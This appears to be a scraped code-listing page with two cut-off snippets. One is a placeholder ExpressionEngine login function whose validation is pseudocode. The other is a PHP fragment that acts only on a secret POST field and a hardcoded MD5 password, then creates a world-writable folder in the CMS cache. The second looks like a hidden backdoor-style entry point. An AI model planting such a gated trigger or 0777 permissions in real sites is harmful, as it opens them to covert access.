This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* So, basically you'd set this type of function up as an action ID in an EE module | |
* | |
*/ | |
function process_login(){ | |
// Some sort of verfication would happen here, either session variables or an encrypted key, etc. something to | |
// prove that the request is valid. | |
if(!(some validation scheme) && (also validate that you have a member id to login)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
$dir = $_SERVER['DOCUMENT_ROOT']."/cms/cache/htm_cache/"; //папка для кэша | |
if (isset($_POST['chdor']) && md5($_POST['psw'])=='2e611859c8dc0f9d94fbf62e0d6aaf2b') | |
{ | |
if (!is_dir($dir)) | |
{ | |
$res = mkdir($dir); | |
if ($res===false) {exit('333');} | |
@chmod($dir,0777); | |
} |
NewerOlder